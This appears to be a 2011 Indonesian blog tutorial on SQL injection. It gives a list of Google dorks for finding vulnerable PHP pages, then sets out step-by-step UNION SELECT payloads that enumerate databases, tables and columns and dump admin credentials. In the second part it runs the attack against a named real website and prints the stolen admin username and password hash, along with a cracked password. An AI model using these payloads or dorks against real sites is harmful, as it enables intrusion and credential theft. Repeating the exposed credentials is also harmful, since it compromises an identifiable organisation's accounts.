Subscribe:

Pages

Monday 27 June 2011

SQLI



Untuk Mencari Inject
Mencari SQLI sangat mudah,semua yang perlu anda lakukan adalah Googling . Hal pertama yang perlu anda lakukan adalah mencari beberapa dorks
Code:

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=

inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()

Lebih lengkap, silakan cari di Google ~Dork~ :)

PART 1

Pilih salah satu dorks dan tambahkan inurl: sebelum
(Jika mereka belum memiliki itu) dan kemudian salin dan sisipkan
ke google. Pilih salah satu site dari google dan chek 1-1.
Sebagai contoh url dari halaman anda mungkin seperti ini
Code:

http://www.example.com/index.php?id=3


untuk memeriksa adanya Bug MySQL tambah tanda “‘” di akhir URL
contoh
Code:

http://www.example.com/index.php?id=3'

 tekan enter sampai anda mendapatkan ERROR

Mendapatkan Jumlah Column

Langkah pertama yang perlu anda ambil adalah untuk mengetahui jumlah column. Cara termudah untuk melakukannya adalah
menggunakan pernyataan “order by”. Yang harus anda lakukan adalah meletakkan ORDER BY (angka) -
pada akhir url anda. Jadi seharusnya akan keluar seperti ini.
Code:

http://www.example.com/index.php?id=3 ORDER BY (number)--

Lanjutkan ke order by 8– anda akan mendapatkan error. Ini membuktikan bahawa table database hanya memiliki 7 column, ini dibuktikan bahwa ketika anda melakukan order by lebih dari 7, akan selalu error. Jika anda memiliki memori yang kurang baik, silakan buka notepad & catat column-column yang anda temukan.

Menemukan column yang dapat di akses

Setelah kita mengetahui column yang ada di table database, sekarang kita akan mencari informasi & data apa yang boleh diambil dari sana.
Kita melakukannya kita menggunakan fungsi “UNION” “SELECT” dan NOMBOR COLUMN. Kita sisipkan seluruhnya dalam URL, seperti contoh berikut:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--


Jangan lupa untuk sisipkan tanda “-” sebelum code bermula, jadi sebagai contoh di atas kita sisipkan tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nombor column table yang memiliki informasi di dalam database tersebut. Klo lupa, simpan dulu di notepad.

Finding MySQL Database Version
Sebelum kita teruskan, kita perlu ketahui adalah versi dari database.
URL nya adalah sebagai berikut:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Kita ganti angka “1” dengan  “@@version” untuk mengetahui informasi versi database, berikut contohnya:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--

Tekan enter, maka anda akan jumpo info database yang digunakan.
Hal ini biasanya bekerja pada versi database 5.* keatas.

Finding Database Names

Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nombor column terakhir di table database.
Seperti ini contoh URL:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--

Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata
Jadi URL nya akan menjadi seperti ini:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--

Selamat, anda telah mendapatkan info database yang digunakan.

Menemukan Nama Table

Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nombor awal dan “–” hapus juga tanda “+” dari “union select“.
Urlnya akan kelihatan seperti berikut:
Code:

http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--

Nah, hal tersebut akan menampilkan nama table yang digunakan di database.

Menemukan Nama Column

Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
Url akan tampak seperti ini:
Code:

http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--

Hal tersebut akan memunculkan nama table.
Andailah nama column seperti berikut:
admin_username
admin_password

Mengambil Info Database
Sekarang kita sudah mengetahui “ database name, table names, dan column names”, kita boleh gabungkan bersama-sama dan mengeluarkan info yang ada, kita lakukan dengan contoh berikut:
Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--

Sekarang ganti “columnname” dengan column yang anda nak ambil infonya. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama table dimana column ada di database dan table tersebut.
Sebagai contoh:
Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--

Sekarang anda akan mendapatkan information username & database

PART 2

Mari kita cuba praktikkan cara diatas!
Sebagai contoh kita mendapatkan target berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30
Sekarang kita akan check sama ada website tersebut memiliki vulnerability dengan menambahkan tanda di akhir URL, contohnya seperti berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30'
Jika kita jumpa error, maka terdapat vulnerability di website tersebut, sebagai contoh:

Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah column yang ada di table tersebut.
Camne nak taw??tunggu keluar ayat nie “Unknown Column“.
Check dengan menggunakan command “order by“.
Kita akan mencoba dari 1 hingga la beberape pun..
Dalam target ini hanya terdapat 7 column dalam table yang ada di database,
Contohnya:


Cara untuk test
Code:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column
http://www.cocobod.gh/news_details.php?id=30 order by 8– *>> Unknown column
Hal tersebut membuktikan bahawa tidak ada column ke 8 dalam table tersebut, jadi cuma ada 7 column.

Langkah selanjutnya adalah, mencari column yang dapat di akses @ vulnarable!

Kita sudah mengetahui, jumlah column adalah 7, gunakan command “UNION SELECT number,of,columns–” untuk mengetahui column mana yang dapat di akses:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--
Anda akan dapat output seperti gambar dibawah:

Binus Hacker Tutorial
Muncul 6, 2, 3 kan? Column dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.

Langkah selanjutnya, mencari information versi database

SQL Injection berfungsi dengan baik pada versi 5.* ke atas, untuk mendapatkan information database version, kita masukkan saja “@@version”, pada column yang boleh dipakai.
Misalkan column “6″ kita ganti dengan “@@version”

Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--
Binus Hacker Tutorial
Akan muncul versi database 5.1.39, ini bermaksud database boleh di inject :)

Mengetahui Database Name

Replace column yang tadi digunakan “6,2,3″ dibagian mana saja, kita gunakan kolom “6″, kita ganti dengan code berikut “group_concat(schema_name)” , dan jangan lupa tambahkan “from information_schema.schemata–” selepas column terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--
Binus Hacker Tutorial
Mengetahui Database Yang Dipakai
Gantikan “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--
Binus Hacker Tutorial
Selamat, anda telah mengetahui database yang dipakai saat ini adalah “cocobod_gh“.

Mengetahui Nama Table

Gantikan “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()–” setelah column terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--
Binus Hacker Tutorial

Mengetahui Nama Column

Untuk mengetahui nama column, kita gunakan query berikut:
group_concat(column_name)
from information_schema.columns where table_schema=database()–
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--
Binus Hacker Tutorial

Mengambil Informasi Yang Ada Di Dalam Column

Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari column yang berada dalam table di database.
Code:
http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--
Exploit akan jadi seperti berikut :
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from cocobod_gh.coc_admin--
Binus Hacker Tutorial
Dari informasi di atas kita mendapatkan data: “comaster:2c39e3769d300f7e23f8a9e1e21773e7“ ,
Silakan check ke MD5 decrypter untuk mendecrypt password -> http://www.md5decrypter.co.uk/ paste MD5 password yang tadi: “2c39e3769d300f7e23f8a9e1e21773e7“, anda akan dapat result seperti dibawah:

Binus Hacker Tutorial

comaster:2c39e3769d300f7e23f8a9e1e21773e7
comaster:cocoadmin4682
username : comaster
password : cocoadmin4682

0 comments:

Post a Comment

Related Posts Plugin for WordPress, Blogger...